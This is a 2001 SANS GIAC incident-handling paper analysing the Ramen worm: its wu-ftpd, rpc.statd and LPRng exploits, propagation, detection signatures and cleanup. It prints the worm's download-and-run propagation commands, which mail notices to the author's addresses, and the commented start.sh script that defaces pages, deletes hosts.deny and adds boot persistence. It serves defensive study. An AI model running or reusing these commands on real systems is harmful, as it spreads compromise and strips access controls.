



Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permitted without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Hacker Tools, Techniques, Exploits, and Incident Handling (Security 504)"
at <http://www.giac.org/registration/gcih>

The Ramen Worm

James Kuhns
GCIH/MBUS 543 Mary Washington Information Security Certificate
22 February 2001

Exploit Details:

Name: Ramen Worm

Variants: Unknown

Operating System: Redhat Linux 6.2 and 7.0

Protocols/Services: This worm exploits known vulnerabilities in wu-ftpd (port 21/tcp), LPRng (port 111/udp), and rpc.statd (port 515/tcp).

Brief Description:

The Ramen Worm is a self-propagating worm affecting the Linux Redhat (identified in CERT Incident Note IN-2001-01, 18 Jan 01). It is a collection of various tools designed to attack network/computer systems by exploiting the aforementioned known vulnerabilities. A successful exploitation of any of the three commonly installed software packages results in a privileged (root) compromise on the victim's host. Furthermore, Ramen will automatically seek out and attack all vulnerable systems it can find until it is removed from the compromised host.

Protocol Description

The collection of tools distributed with the Ramen Worm is designed to exploit three previously publicized vulnerabilities in software commonly installed in the Redhat Linux Versions 6.2 and 7.0.

Services exploited by the Ramen Worm include:

- 1. Wu-ftpd (port 21/tcp)** – “The wu-ftpd "site exec" vulnerability is the result of missing character-formatting argument in several function calls that implement the "site exec" command functionality. Normally if "site exec" is enabled, a user logged into an ftp server (including the 'ftp' or 'anonymous' user) may execute a restricted subset of quoted commands on the server itself. However, if a malicious user can pass character format strings consisting of carefully constructed *printf() conversion characters (%f, %p, %n, etc) while executing a "site exec" command, the ftp daemon may be tricked into executing arbitrary code as root.

The "site exec" vulnerability appears to have been in the wu-ftp code since the original wu-ftp 2.0 came out in 1993. Any vendors who have based their own ftpd distributions on this vulnerable code are also likely to be subject to attack.

The vulnerability appears to be exploitable if a local user account can be used for ftp login. Also, if the "site exec" command functionality is enabled, then anonymous ftp login allows sufficient access for an attack."¹

Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#29823 entitled, "Format string input validation error in wu-ftp site_exec () function," and referenced at the following web site: <http://www.kb.cert.org/vuls/id/29823>

- 2. Rpc.statd (port 111/udp)** – "The rpc.statd program vulnerability is part of the nfs-utils packages, distributed with a number of popular Linux distributions. Because of a format string vulnerability when calling the syslog () function, a malicious remote user can execute code as root.

The rpc.statd server is a RPC server that implements the Network Status and Monitor RPC protocol. It is a component of the Network File System (NFS) architecture.

The logging code in rpc.statd uses the syslog () function, passing it as the format string user supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.

rpc.statd requires root privileges for opening its network socket, but fails to drop these privileges later on. Thus code executed by the malicious user will execute with root privileges."²

Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#34043 entitled, "rpc.statd vulnerable

¹ Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#29823 entitled, "Format string input validation error in wu-ftp site_exec() function," and referenced at the following web site: <http://www.kb.cert.org/vuls/id/29823>

² Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#34043 entitled, "rpc.statd vulnerable to remote root compromise via format string stack overwrite," and referenced at the following web sites: <http://www.kb.cert.org/vuls/id/34043> and <http://www.securityfocus.com/bid/1480>

to remote root compromise via format string stack overwrite,” and referenced at the following web sites:

<http://www.kb.cert.org/vuls/id/34043> and

<http://www.securityfocus.com/bid/1480>

- 3. LPRng (port 515/tcp)** – “LPRng, print-service management software now being packaged in several open-source operating system distributions, has a missing format string argument in at least two calls to the syslog () function. Missing format strings in function calls which allow user-supplied arguments to be passed to a susceptible *snprintf() function call may allow remote users with access to the printer port (port 515/tcp) to pass format-string parameters that can overwrite arbitrary addresses in the printing service's address space. Such overwriting can cause segmentation violations leading to denial of printing services or lead to the execution of arbitrary code injected through other means into the memory segments of the printer service.”³

Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#382365 entitled, “LPRng can pass user-supplied input as a format string parameter to syslog () calls,” and referenced at the following web site:

<http://www.kb.cert.org/vuls/id/382365>

Description of variants

Currently, there are no actual reported variants to the Ramen Worm. Rumors have surfaced that variants may be present and that they should not affect other Linux OS types. This is due to the difficulty in changing the attack code. However, making modifications to the existing shell scripts in order to do other malicious things while the code is running would be relatively easy.

³ Further reading about this specific exploit can be referenced in CERT Vulnerability Note VU#382365 entitled, “LPRng can pass user-supplied input as a format string parameter to syslog () calls,” and referenced at the following web site: <http://www.kb.cert.org/vuls/id/382365>

How the exploit works

The Ramen Worm originates from an already compromised host (one of the three known exploits listed above), that had the ramen.tgz package extracted to the /usr/src/.poop directory. The ./start.sh script is then executed. This prepares the system to act as an attacker, and performs several functions:

- replaces all index.html files on the server with a prepared defacement message "Hackers looooooooooooooooooove noodles" and a picture of a package of Ramen noodles.
- removes the tcpwrappers access control list by deleting /etc/hosts.deny.
- copies the appropriate binaries into place.
- adds the worm startup script to /etc/rc.d/rc.sysinit so the worm will be run again if the system is rebooted.
- launches ./bd62.sh and ./start62.sh (on redhat 6.2) or ./bd7.sh and ./start7.sh (on Redhat 7.0).

bd62.sh is a shell script adding the asp webserver to inetd.conf (or in the case of Redhat 7.0, bd7.sh adding the asp webserver to xinetd). It also disables anonymous ftp by adding the "ftp" and "anonymous" users to /etc/ftpusers, and disables rpc.statd by killing the process and deleting the binary.

start62.sh is a small shell script that launches the three attack processes: scan.sh, hackl.sh, and hackw.sh. The scan.sh script picks a random class "b" to scan, then launches a modified Synscan against those addresses and checks the FTP banner (using FTP port 21) for the following strings: "Mon Feb 28" and "Wed Aug 9". If it finds the first string, it writes the hostname and/or ip of the scannee to the file ".w"; if it finds the second string it writes to the file ".l". These files serve to identify the two breeds of exploitable machines (Redhat 6.2 and Redhat 7.0). The hackl.sh and hackw.sh scripts watch the output files generated by Synscan and act against any IP addresses that are dropped in the log files.

In the Redhat 6.2 machines, the attack processes read the contents of the ".w" file to run the wu-ftp exploit. It appears that this exploit will affect several types and versions of Unix (<http://www.kb.cert.org/vuls/id/29823>), but the context of this worm would generally only be run against RedHat 6.2 machines.

If that attack fails, a copy of the widely available statdx exploit for RedHat 6.2 is run against the target machine. If either of these attacks succeeds, the following sequence of commands begins to execute the propagation life cycle on the new host:

```
mkdir /usr/src/.poop;cd /usr/src/.poop
export TERM=vt100
lynx -source http://FROMADDR:27374 > /usr/src/.poop/ramen.tgz
cp ramen.tgz /tmp
gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh
echo Eat Your Ramen! | mail -s TOADDR -c gb31337@hotmail.com
gb31337@yahoo.com
```

FROMADDR and TOADDR are the IP addresses/hostnames of the infecting machine and the infected machine.

Redhat 7 machines are attacked by the exploit aimed at the LPRng syslog format bug. It is possible to corrupt the print daemon's execution with unexpected format specifiers, thus gaining root access to the computer.

If the attack succeeds, the same shell commands above are executed, starting the propagation life cycle on the new host.

Once in, the worm establishes a minimal HTTP/0.9 server on **port 27374** to serve out copies of itself (it does this through inetd on RedHat 6.2 and xinetd on RedHat 7.0). It determines its IP address of its external interface, and removes the vulnerable services used to spread itself. On RedHat 6.2, rpc.statd is removed; on RedHat 7.0, lpd is removed. Also, the user's "ftp" and "anonymous" are added to /etc/ftpusers, closing the wu-ftpd hole for RedHat 6.2 and RedHat 7.0 (the wu-ftpd exploit worm requires anonymous access to be enabled; adding these users to /etc/ftpusers disables anonymous ftp). Finally, any writeable index.html files are replaced with a new index.html with a message referencing Ramen Noodle Soup.

Two notable peculiarities about the Ramen worm are the creator apparently did not leave a back door to regain shell access to the machine, and the shell scripts for modifying the FTP exploit are written for both RedHat 6.2 (bd62.sh) and RedHat 7.0 (bd7.sh). Hence, the creator takes unnecessary steps to fix the wu-ftpd exploit hole and also attempts to fix the same hole in RedHat 7.0 (bd7.sh), which is not even affected by this specific exploit.

How to use the exploit

All of the Ramen Worm tools can be found at www.whitehats.com/library/worms/ramen/index.html. It includes all binaries for RedHat 6.2 and RedHat 7.0 versions. The names, file author and descriptions of the files associated with the Ramen Worm exploit have been provided. Furthermore, the source code for the major exploits; wu-ftp 2.6.0, rpc.statd, and LPRng will be provided at the end of the document.

Filename	Apparent Author	Description
Asp	worm author	xinetd configuration for the "asp" webserver, needed for Redhat 7.0
asp62	worm author	webserver that binds to port 27374 and sends <code>ramen.tgz</code> in response to any connection
asp7	worm author	same only compiled for use on redhat 7.0
bd62.sh	worm author	launches asp webserver and closes holes on Redhat 6.2
bd7.sh	worm author	launches asp webserver and closes holes on Redhat 7.0
getip.sh	Other	puts local IP address in file called "myip". This script is identical to that found in ADMwOrm and the Millennium worm.
hack1.sh	worm author	exploiter, reads found redhat 7.0 targets from synscan output file, then attacks each with <code>lh.sh</code> which runs the LPRng exploit against the host
hackw.sh	worm author	exploiter, reads found redhat 6.2 targets from synscan output file, then attacks each with <code>wh.sh</code> which runs the wu-ftp and statdx exploits against the host
index.html	worm author	replacement to overwrite all index.html on target
l62	DiGiT	LPRng remote exploit by Digit [teddi@security.is]
l7	Digit	same, compiled for use on Redhat 7.0
lh.sh	worm author	launches LPRng remote exploit against Redhat 7.0 host
randb62	worm author	prints a random class b address such as "10.23"
randb7	worm author	same, compiled for use on Redhat 7.0
s62	ron1n	rpc.statd remote exploit by ron1n [shellcode@hotmail.com] note that there are two exploit versions, this is the older one
s7	ron1n	same, compiled for use on Redhat 7.0
scan.sh	worm author	picks random class b, then runs synscan
start.sh	worm author	replaces index.html, removes <code>/etc/hosts.deny</code> , launches attack
start62.sh	worm author	launches scan.sh and the <code>hack1.sh</code> and <code>hackw.sh</code> exploiters.
start7.sh	worm author	identical to <code>start62.sh</code>
synscan62	Psychoid	fast vulnerability scanner, used to scan for ftp banners
synscan7	Psychoid	same, compiled for use on Redhat 7.0
w62	tf8	wu-ftp 2.6.0 remote exploit by tf8
w7	tf8	same, compiled for use on Redhat 7.0
wh.sh	worm author	launches wu-ftp and statd remote exploits against Redhat 6.2 host
wu62	tf8	wu-ftp 2.6.0 exploit, duplicate/unused file? (doesn't work)

Start.sh code begins the worm process. I have added notes to identify what actions are taking place. (Creator: Worm Author)

```
#!/bin/sh
```

```
nohup find / -name "index.html" -exec /bin/cp index.html {} \; &
 #(replaces index.html with modified index.html)

rm -f /etc/hosts.deny  #(removes hosts.deny effectively disabling any use of
tcpwrappers)

./getip.sh  #(Utility script to get the systems external IP address)

if [ -f /etc/inetd.conf ]
then
    cp synscan62 synscan  #(Copies modified vulnerability scanner for
FTP banner identification)

    cp w62 w  #(Copies wu-ftpd 2.6.0 remote exploit)

    cp l62 l  #(Copies LPRng remote exploit)

    cp s62 s  #(Copies rpc.statd remote exploit)

    cp randb62 randb  #(Copies Class "B" address generator)

    echo "/usr/src/.poop/start62.sh" >> /etc/rc.d/rc.sysinit  #(Places
start62.sh in rc.sysinit so to make sure the process will start again
if system is rebooted.)

    ./bd62.sh  #(Launches webserver and closes holes in Redhat 6.2)

    ./start62.sh  #(Launches scan.sh, hackl.sh and hackw.sh scripts)

else  #(Same is repeated for RedHat 7.0)
    cp synscan7 synscan
    cp w7 w
    cp l7 l
    cp s7 s
    cp randb7 randb
    echo "/usr/src/.poop/start7.sh" >> /etc/rc.d/rc.sysinit
    ./bd7.sh
    ./start7.sh
fi
```

Signature of the attack

As part of daily administrative duties, care should be taken to monitor log files for any system abnormalities. The Ramen Worm makes several system modifications to the filesystem of the target host. Below is a list of system changes administrators should look for:

4. Open TCP Port 27374; this is the port asp will use. The **netstat -a** command will show any active ports and associated numbers. **Please note that variants could change the effective open port number, so other means of identification should be utilized.**
5. Existence of /usr/src/.poop directory which contains the contents of the ramen archive.
6. Existence of /tmp/ramen.tgz.
7. Existence of /sbin/asp.
8. Removal of /etc/hosts.deny
9. **lsof -i** will identify network bindings--administrators should look for the following:

```
inetd 472 root 14u IPv4 11445 TCP *:asp (LISTEN)
```

- **ps -ef** will identify processes running on your Linux System. You should look for the following processes:

```
root 4722 0.0 1.6 1648 752 pts/0 SN 15:46 0:00 sh ./scan.sh
root 4723 0.0 1.5 1648 748 pts/0 SN 15:46 0:00 sh ./hackl.sh
root 4724 0.0 1.5 1648 748 pts/0 SN 15:46 0:00 sh ./hackw.sh
root 4730 0.0 0.9 1252 460 pts/0 SN 15:46 0:00 tail -f .l
root 4731 0.0 1.6 1656 756 pts/0 SN 15:46 0:00 sh ./hackl.sh
root 4735 0.0 0.9 1252 460 pts/0 SN 15:46 0:00 tail -f .w
root 4736 0.0 1.6 1656 756 pts/0 SN 15:46 0:00 sh ./hackw.sh
root 4743 0.0 1.0 1148 492 pts/0 SN 15:47 0:02 ./synscan x.x.x
```

How to protect against it/cleanup

RedHat has released patches for the wu-ftpd, rpc.statd and LPRng exploits. These patches should be applied to the system immediately to eliminate the possibility of compromising the system. Also, if any of the above services are not needed, shutting them down would also be an effective means in preventing an exploit.

<http://www.redhat.com/support/errata/RHSA-2000-039-02.html>

<http://www.redhat.com/support/errata/RHSA-2000-043-03.html>

<http://www.redhat.com/support/errata/RHSA-2000-065-06.html>

To remove the Ramen Worm from a compromised host, perform the following:

- Linux 6.2 (Remove/Replace these files)
 - /usr/src/.poop **Remove**
 - index.html (Search entire system) **Replace**
 - /etc/rc.d/rc.sysinit **Remove ramen references**
 - /sbin/asp **Remove**
 - /sbin/rpc.statd **Replace**
 - /tmp/ramen.tgz **Remove**
 - /etc/host.deny **Replace**
 - reboot system to kill ramen processes
- Remove the following line from the end of /etc/inetd.conf
 - Asp stream tcp nowait root /sbin/asp
- Remove “ftp” and “anonymous” from /etc/ftpusers
- Linux 7.0 (Remove/Replace these files)
 - /usr/src/.poop **Remove**
 - index.html (Search entire system) **Replace**
 - /usr/sbin/asp **Remove**
 - /etc/xinetd.d **Remove asp reference**
 - /usr/sbin/lpd **Replace**
 - /tmp/ramen.tgz **Remove**
 - /etc/host.deny **Replace**
 - reboot system to kill ramen processes
- Remove “ftp” and “anonymous” from /etc/ftpusers

Finally, the SANS organization has been working on the cleanup of the Ramen Worm and has posted “**Ramenfind**” by **William Stearns** to correct this problem. Information about Ramenfind can be obtained at <http://www.sans.org/y2k/ramen.htm>.

Source code/Pseudo code

Source code for the three major exploits is available at www.whitehats.com. The following is the exploit code for wu-ftpd, rpc.statd and LPRng.

wu-ftpd Exploit: Due to the length of the code, a link to its location is provided on the internet.

<http://whitehats.com/library/worms/ramen/wuftp2600.c>

rpc.statd Exploit: Due to the length of the code, a link to its location is provided on the internet.

<http://whitehats.com/library/worms/ramen/statdx.c>

LPRng Exploit: Due to the length of the code, a link to its location is provided on the internet.

<http://whitehats.com/library/worms/ramen/SEC1pd.c>

Additional Information and Resources

This vulnerability has recently been discussed on public security forums and is currently an active exploit for attackers. Further reading and all reference materials were extracted from the following:

CERT[®] Incident Note IN-2001-01, Widespread Compromises via "ramen" Toolkit http://www.cert.org/incident_notes/IN-2001-01.html

"Redhat Errata", <http://www.redhat.com/support/errata/>, http://www.redhat.com/support/alerts/ramen_worm.html

"Ramen Worm" writeup by Daniel Martin, http://members.home.net/dtmartin24/ramen_worm.txt

"Ramen Worm Analysis" by Mihai Moldovanu, <http://tfm.profm.ro/index.html>

L-040: The Ramen Worm, <http://www.ciac.org/ciac/bulletins/l-040.shtml>

"Ramenfind" by William Stearns at wstearns@pobox.com. Version 0.4 updated 02/15/2001. <http://www.sans.org/y2k/ramen.htm>

Ramen Internet Worm Analysis,

<http://www.whitehats.com/library/worms/ramen/index.html>

CERT Vulnerability Note VU#29823 titled, Format string input validation error in wu-ftpd site_exec() function, <http://www.kb.cert.org/vuls/id/29823>

CERT Vulnerability Note VU#34043 titled, rpc.statd vulnerable to remote root compromise via format string stack overwrite, <http://www.kb.cert.org/vuls/id/34043> and <http://www.securityfocus.com/bid/1480>

CERT Vulnerability Note VU#382365 titled, LPRng can pass user-supplied input as a format string parameter to syslog () calls, <http://www.kb.cert.org/vuls/id/382365>

© SANS Institute 2000 - 2002, Author retains full rights.

Upcoming Training

Click Here to
{Get CERTIFIED!}



SANS Madrid 2017	Madrid, Spain	May 29, 2017 - Jun 03, 2017	Live Event
SANS Atlanta 2017	Atlanta, GA	May 30, 2017 - Jun 04, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS San Francisco Summer 2017	San Francisco, CA	Jun 05, 2017 - Jun 10, 2017	Live Event
Community SANS Virginia Beach SEC504*	Virginia Beach, VA	Jun 05, 2017 - Jun 10, 2017	Community SANS
SANS Rocky Mountain 2017 - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling	Denver, CO	Jun 12, 2017 - Jun 17, 2017	vLive
SANS Thailand 2017	Bangkok, Thailand	Jun 12, 2017 - Jun 30, 2017	Live Event
SANS Rocky Mountain 2017	Denver, CO	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Charlotte 2017	Charlotte, NC	Jun 12, 2017 - Jun 17, 2017	Live Event
Mentor Session - SEC504	Reston, VA	Jun 13, 2017 - Aug 01, 2017	Mentor
SANS Minneapolis 2017	Minneapolis, MN	Jun 19, 2017 - Jun 24, 2017	Live Event
SANS Cyber Defence Canberra 2017	Canberra, Australia	Jun 26, 2017 - Jul 08, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS Paris 2017	Paris, France	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
Cyber Defence Japan 2017	Tokyo, Japan	Jul 05, 2017 - Jul 15, 2017	Live Event
Community SANS Seattle SEC504	Seattle, WA	Jul 10, 2017 - Jul 15, 2017	Community SANS
SANS ICS & Energy-Houston 2017	Houston, TX	Jul 10, 2017 - Jul 15, 2017	Live Event
SANS Los Angeles - Long Beach 2017	Long Beach, CA	Jul 10, 2017 - Jul 15, 2017	Live Event
SANS Cyber Defence Singapore 2017	Singapore, Singapore	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Ottawa SEC504	Ottawa, ON	Jul 17, 2017 - Jul 22, 2017	Community SANS
Community SANS Sacramento SEC504	Sacramento, CA	Jul 17, 2017 - Jul 22, 2017	Community SANS
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
Community SANS Des Moines SEC504	Des Moines, IA	Jul 24, 2017 - Jul 29, 2017	Community SANS
Community SANS Annapolis SEC504	Annapolis, MD	Jul 24, 2017 - Jul 29, 2017	Community SANS
Community SANS Phoenix SEC504	Phoenix, AZ	Jul 24, 2017 - Jul 29, 2017	Community SANS
Security Awareness Summit & Training 2017	Nashville, TN	Jul 31, 2017 - Aug 09, 2017	Live Event
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
Community SANS Raleigh SEC504	Raleigh, NC	Aug 07, 2017 - Aug 12, 2017	Community SANS
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Salt Lake City 2017	Salt Lake City, UT	Aug 14, 2017 - Aug 19, 2017	Live Event